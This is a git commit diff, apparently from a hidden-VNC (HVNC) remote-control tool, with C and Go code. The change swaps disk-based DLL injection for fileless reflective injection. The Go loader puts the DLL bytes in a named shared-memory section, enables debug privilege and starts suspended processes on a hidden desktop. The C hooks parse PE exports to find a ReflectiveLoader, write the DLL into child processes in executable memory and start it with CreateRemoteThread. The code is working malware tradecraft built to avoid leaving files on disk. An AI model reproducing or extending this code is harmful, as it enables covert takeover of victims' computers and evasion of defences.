This commit is contained in:
KingKDot
2026-03-15 18:49:26 -05:00
parent 8ec461f2f6
commit 4b8a459d04
2 changed files with 226 additions and 56 deletions
+170 -36
View File
@@ -300,7 +300,11 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
LPPROCESS_INFORMATION lpProcessInformation LPPROCESS_INFORMATION lpProcessInformation
); );
pCreateProcessW OriginalCreateProcessW = NULL; pCreateProcessW OriginalCreateProcessW = NULL;
static WCHAR g_DllPath[512] = { 0 };
// In-memory DLL bytes for child injection (mapped from named section)
static HANDLE g_DllSectionHandle = NULL;
static LPVOID g_DllRawBytes = NULL;
static DWORD g_DllRawSize = 0;
// Helper function to check if path needs redirection // Helper function to check if path needs redirection
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) { BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
@@ -713,41 +717,134 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
QueryFlags, FileName); QueryFlags, FileName);
} }
// Inject the DLL into a child process via LoadLibraryW // Inject the DLL into a child process via reflective injection (no file on disk)
static BOOL InjectDllIntoChild(HANDLE hProcess, const WCHAR* dllPath) { static DWORD _rva2fo(DWORD rva, const BYTE* pe, DWORD peSize, DWORD sectionOff, WORD numSections) {
SIZE_T pathSize = (wcslen(dllPath) + 1) * sizeof(WCHAR); for (WORD i = 0; i < numSections; i++) {
DWORD off = sectionOff + (DWORD)i * 40;
if (off + 40 > peSize) break;
DWORD virtualAddr = *(DWORD*)(pe + off + 12);
DWORD rawDataSize = *(DWORD*)(pe + off + 16);
DWORD rawDataPtr = *(DWORD*)(pe + off + 20);
if (rva >= virtualAddr && rva < virtualAddr + rawDataSize) {
return rva - virtualAddr + rawDataPtr;
}
}
if (numSections > 0) {
DWORD firstRawPtr = *(DWORD*)(pe + sectionOff + 20);
if (rva < firstRawPtr) return rva;
}
return 0;
}
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, pathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); static DWORD FindReflectiveLoaderFileOffset(const BYTE* pe, DWORD peSize) {
if (!remoteMem) return FALSE; if (peSize < 64 || pe[0] != 'M' || pe[1] != 'Z') return 0;
DWORD lfanew = *(DWORD*)(pe + 60);
if (lfanew + 4 > peSize) return 0;
if (*(DWORD*)(pe + lfanew) != 0x00004550) return 0; // PE sig
DWORD coffOff = lfanew + 4;
if (coffOff + 20 > peSize) return 0;
WORD numberOfSections = *(WORD*)(pe + coffOff + 2);
WORD sizeOfOptionalHeader = *(WORD*)(pe + coffOff + 16);
DWORD optOff = coffOff + 20;
if (optOff + 2 > peSize) return 0;
WORD magic = *(WORD*)(pe + optOff);
DWORD exportDirRVA = 0;
if (magic == 0x20b) { // PE32+
DWORD ddOff = optOff + 112;
if (ddOff + 8 > peSize) return 0;
exportDirRVA = *(DWORD*)(pe + ddOff);
} else if (magic == 0x10b) { // PE32
DWORD ddOff = optOff + 96;
if (ddOff + 8 > peSize) return 0;
exportDirRVA = *(DWORD*)(pe + ddOff);
} else {
return 0;
}
if (exportDirRVA == 0) return 0;
DWORD sectionOff = optOff + sizeOfOptionalHeader;
// RVA to file offset helper (inline)
#define RVA2FO(rva) _rva2fo((rva), pe, peSize, sectionOff, numberOfSections)
DWORD exportDirFO = RVA2FO(exportDirRVA);
if (exportDirFO == 0 || exportDirFO + 40 > peSize) return 0;
DWORD numberOfNames = *(DWORD*)(pe + exportDirFO + 24);
DWORD addressOfFunctionsRVA = *(DWORD*)(pe + exportDirFO + 28);
DWORD addressOfNamesRVA = *(DWORD*)(pe + exportDirFO + 32);
DWORD addressOfOrdinalsRVA = *(DWORD*)(pe + exportDirFO + 36);
DWORD namesFO = RVA2FO(addressOfNamesRVA);
DWORD funcsFO = RVA2FO(addressOfFunctionsRVA);
DWORD ordinalsFO = RVA2FO(addressOfOrdinalsRVA);
if (namesFO == 0 || funcsFO == 0 || ordinalsFO == 0) return 0;
for (DWORD i = 0; i < numberOfNames; i++) {
if (namesFO + i * 4 + 4 > peSize) break;
DWORD nameRVA = *(DWORD*)(pe + namesFO + i * 4);
DWORD nameFO = RVA2FO(nameRVA);
if (nameFO == 0 || nameFO >= peSize) continue;
// Check for "ReflectiveLoader" substring
const char* name = (const char*)(pe + nameFO);
BOOL found = FALSE;
for (DWORD k = 0; nameFO + k < peSize && name[k] != 0; k++) {
if (name[k] == 'R' && nameFO + k + 16 <= peSize) {
if (memcmp(&name[k], "ReflectiveLoader", 16) == 0) {
found = TRUE;
break;
}
}
}
if (!found) continue;
if (ordinalsFO + i * 2 + 2 > peSize) continue;
WORD ordinal = *(WORD*)(pe + ordinalsFO + i * 2);
if (funcsFO + ordinal * 4 + 4 > peSize) continue;
DWORD funcRVA = *(DWORD*)(pe + funcsFO + ordinal * 4);
return RVA2FO(funcRVA);
}
#undef RVA2FO
return 0;
}
static BOOL ReflectiveInjectIntoChild(HANDLE hProcess, const BYTE* dllBytes, DWORD dllSize) {
DWORD loaderOffset = FindReflectiveLoaderFileOffset(dllBytes, dllSize);
if (loaderOffset == 0) {
LogDebug(L"[ChildInject] ReflectiveLoader export not found");
return FALSE;
}
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMem) {
LogDebug(L"[ChildInject] VirtualAllocEx failed");
return FALSE;
}
SIZE_T written; SIZE_T written;
if (!WriteProcessMemory(hProcess, remoteMem, dllPath, pathSize, &written)) { if (!WriteProcessMemory(hProcess, remoteMem, dllBytes, dllSize, &written)) {
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
LogDebug(L"[ChildInject] WriteProcessMemory failed");
return FALSE; return FALSE;
} }
HMODULE k32 = GetModuleHandleW(L"kernel32.dll"); LPTHREAD_START_ROUTINE remoteLoader =
if (!k32) { (LPTHREAD_START_ROUTINE)((BYTE*)remoteMem + loaderOffset);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
return FALSE;
}
FARPROC pLoadLib = GetProcAddress(k32, "LoadLibraryW"); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024,
if (!pLoadLib) { remoteLoader, NULL, 0, NULL);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
return FALSE;
}
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pLoadLib, remoteMem, 0, NULL);
if (!hThread) { if (!hThread) {
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); LogDebug(L"[ChildInject] CreateRemoteThread failed");
return FALSE; return FALSE;
} }
WaitForSingleObject(hThread, 10000); WaitForSingleObject(hThread, 30000);
CloseHandle(hThread); CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
return TRUE; return TRUE;
} }
@@ -774,9 +871,10 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
lpStartupInfo, lpProcessInformation lpStartupInfo, lpProcessInformation
); );
if (result && lpProcessInformation && g_DllPath[0] != L'\0') { if (result && lpProcessInformation && g_DllRawBytes && g_DllRawSize > 0) {
LogDebug(L"[CreateProcessW] Injecting DLL into child process"); LogDebug(L"[CreateProcessW] Reflective-injecting DLL into child process");
if (!InjectDllIntoChild(lpProcessInformation->hProcess, g_DllPath)) { if (!ReflectiveInjectIntoChild(lpProcessInformation->hProcess,
(const BYTE*)g_DllRawBytes, g_DllRawSize)) {
LogDebug(L"[CreateProcessW] Child injection failed"); LogDebug(L"[CreateProcessW] Child injection failed");
} else { } else {
LogDebug(L"[CreateProcessW] Child injection succeeded"); LogDebug(L"[CreateProcessW] Child injection succeeded");
@@ -815,7 +913,9 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
// Initialize to empty strings to prevent crashes // Initialize to empty strings to prevent crashes
g_SearchString[0] = L'\0'; g_SearchString[0] = L'\0';
g_ReplacementString[0] = L'\0'; g_ReplacementString[0] = L'\0';
g_DllPath[0] = L'\0'; g_DllSectionHandle = NULL;
g_DllRawBytes = NULL;
g_DllRawSize = 0;
// Try to get configuration from environment variables // Try to get configuration from environment variables
__try { __try {
@@ -850,15 +950,40 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
} }
} }
// Read DLL path for child process injection // Read DLL section for child process injection (in-memory, no file on disk)
WCHAR envDllPath[512] = { 0 }; WCHAR envSectionName[512] = { 0 };
DWORD dllPathLen = GetEnvironmentVariableW(L"RDI_DLL_PATH", envDllPath, 512); WCHAR envDllSize[32] = { 0 };
if (dllPathLen > 0 && dllPathLen < 512) { DWORD sectionNameLen = GetEnvironmentVariableW(L"RDI_DLL_SECTION", envSectionName, 512);
wcsncpy_s(g_DllPath, 512, envDllPath, dllPathLen); DWORD dllSizeLen = GetEnvironmentVariableW(L"RDI_DLL_SIZE", envDllSize, 32);
g_DllPath[dllPathLen] = L'\0';
if (g_LogFile != INVALID_HANDLE_VALUE) { if (sectionNameLen > 0 && sectionNameLen < 512 && dllSizeLen > 0 && dllSizeLen < 32) {
LogDebug(L"[ENV] DLL path for child injection: "); g_DllRawSize = 0;
LogDebug(g_DllPath); for (DWORD i = 0; i < dllSizeLen; i++) {
g_DllRawSize = g_DllRawSize * 10 + (envDllSize[i] - L'0');
}
g_DllSectionHandle = OpenFileMappingW(FILE_MAP_READ, FALSE, envSectionName);
if (g_DllSectionHandle) {
g_DllRawBytes = MapViewOfFile(g_DllSectionHandle, FILE_MAP_READ, 0, 0, g_DllRawSize);
if (g_DllRawBytes) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
char msg[256];
sprintf_s(msg, 256, "[ENV] DLL shared memory mapped: %lu bytes", g_DllRawSize);
LogDebugA(msg);
}
} else {
CloseHandle(g_DllSectionHandle);
g_DllSectionHandle = NULL;
g_DllRawSize = 0;
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("[ENV] MapViewOfFile failed for DLL section");
}
}
} else {
g_DllRawSize = 0;
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("[ENV] OpenFileMappingW failed for DLL section");
}
} }
} }
} }
@@ -987,6 +1112,15 @@ static inline void _hvnc_wcsncpy_s(wchar_t *dst, size_t dstSize, const wchar_t *
MH_DisableHook(MH_ALL_HOOKS); MH_DisableHook(MH_ALL_HOOKS);
MH_Uninitialize(); MH_Uninitialize();
if (g_DllRawBytes) {
UnmapViewOfFile(g_DllRawBytes);
g_DllRawBytes = NULL;
}
if (g_DllSectionHandle) {
CloseHandle(g_DllSectionHandle);
g_DllSectionHandle = NULL;
}
if (g_LogFile != INVALID_HANDLE_VALUE) { if (g_LogFile != INVALID_HANDLE_VALUE) {
CloseHandle(g_LogFile); CloseHandle(g_LogFile);
g_LogFile = INVALID_HANDLE_VALUE; g_LogFile = INVALID_HANDLE_VALUE;
@@ -26,6 +26,9 @@ var (
procOpenProcessToken = advapi32.NewProc("OpenProcessToken") procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW") procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW")
procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges") procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges")
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
) )
var advapi32 = syscall.NewLazyDLL("advapi32.dll") var advapi32 = syscall.NewLazyDLL("advapi32.dll")
@@ -605,18 +608,20 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
return fmt.Errorf("empty DLL bytes") return fmt.Errorf("empty DLL bytes")
} }
dllTmpPath, err := writeDLLToTemp(dllBytes) // Create a page-file-backed named section containing the raw DLL bytes.
// Child processes will open this section to reflectively inject themselves.
shmHandle, shmName, err := createDLLSharedMemory(dllBytes)
if err != nil { if err != nil {
return fmt.Errorf("failed to write DLL to temp: %v", err) return fmt.Errorf("failed to create DLL shared memory: %v", err)
} }
log.Printf("hvnc inject: DLL written to %s for child injection", dllTmpPath) log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
enableDebugPrivilege() enableDebugPrivilege()
// Create the process suspended on the HVNC desktop // Create the process suspended on the HVNC desktop
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPath) hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes))
if err != nil { if err != nil {
os.Remove(dllTmpPath) procCloseHandle.Call(shmHandle)
return fmt.Errorf("failed to create suspended process: %v", err) return fmt.Errorf("failed to create suspended process: %v", err)
} }
log.Printf("hvnc inject: created suspended process PID %d", pid) log.Printf("hvnc inject: created suspended process PID %d", pid)
@@ -625,12 +630,17 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
if err := reflectiveInject(hProcess, dllBytes); err != nil { if err := reflectiveInject(hProcess, dllBytes); err != nil {
procCloseHandle.Call(hProcess) procCloseHandle.Call(hProcess)
procCloseHandle.Call(hThread) procCloseHandle.Call(hThread)
// Try to kill the process
terminateProcess(hProcess) terminateProcess(hProcess)
procCloseHandle.Call(shmHandle)
return fmt.Errorf("DLL injection failed: %v", err) return fmt.Errorf("DLL injection failed: %v", err)
} }
log.Printf("hvnc inject: DLL injected into PID %d", pid) log.Printf("hvnc inject: DLL injected into PID %d", pid)
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the
// loader thread). The DLL opened the shared section, so we can release
// our handle now.
procCloseHandle.Call(shmHandle)
procCloseHandle.Call(hProcess) procCloseHandle.Call(hProcess)
// Resume the main thread // Resume the main thread
@@ -649,21 +659,46 @@ func terminateProcess(hProcess uintptr) {
kernel32.NewProc("TerminateProcess").Call(hProcess, 1) kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
} }
func writeDLLToTemp(dllBytes []byte) (string, error) { // createDLLSharedMemory creates a named page-file-backed section containing
f, err := os.CreateTemp("", "hvnc_rdi_*.dll") // the raw DLL bytes. Returns the mapping handle and section name.
func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err error) {
name = fmt.Sprintf("Local\\hvnc_rdi_%d", time.Now().UnixNano())
namePtr, err := syscall.UTF16PtrFromString(name)
if err != nil { if err != nil {
return "", err return 0, "", err
} }
if _, err := f.Write(dllBytes); err != nil {
f.Close() size := len(dllBytes)
os.Remove(f.Name()) handle, _, callErr := procCreateFileMappingW.Call(
return "", err ^uintptr(0), // INVALID_HANDLE_VALUE
0, // default security
0x04, // PAGE_READWRITE
0, // high-order size
uintptr(size),
uintptr(unsafe.Pointer(namePtr)),
)
if handle == 0 {
return 0, "", fmt.Errorf("CreateFileMappingW: %v", callErr)
} }
f.Close()
return f.Name(), nil view, _, callErr := procMapViewOfFile.Call(
handle,
0x2, // FILE_MAP_WRITE
0, 0,
uintptr(size),
)
if view == 0 {
procCloseHandle.Call(handle)
return 0, "", fmt.Errorf("MapViewOfFile: %v", callErr)
}
copy(unsafe.Slice((*byte)(unsafe.Pointer(view)), size), dllBytes)
procUnmapViewOfFile.Call(view)
return handle, name, nil
} }
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPath string) (hProcess, hThread uintptr, pid uint32, err error) { func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int) (hProcess, hThread uintptr, pid uint32, err error) {
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
if err != nil { if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err) return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
@@ -690,7 +725,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPa
si.dwY = 0 si.dwY = 0
si.dwFlags = STARTF_USEPOSITION si.dwFlags = STARTF_USEPOSITION
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, dllTmpPath) envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)
if err != nil { if err != nil {
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err) return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
} }
@@ -717,13 +752,14 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, dllTmpPa
return pi.hProcess, pi.hThread, pi.dwProcessId, nil return pi.hProcess, pi.hThread, pi.dwProcessId, nil
} }
func buildEnvironmentBlock(searchPath, replacePath, dllTmpPath string) ([]uint16, error) { func buildEnvironmentBlock(searchPath, replacePath, shmName string, dllSize int) ([]uint16, error) {
envStrings := syscall.Environ() envStrings := syscall.Environ()
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath) envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath) envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
if dllTmpPath != "" { if shmName != "" {
envStrings = append(envStrings, "RDI_DLL_PATH="+dllTmpPath) envStrings = append(envStrings, "RDI_DLL_SECTION="+shmName)
envStrings = append(envStrings, fmt.Sprintf("RDI_DLL_SIZE=%d", dllSize))
} }
var block []uint16 var block []uint16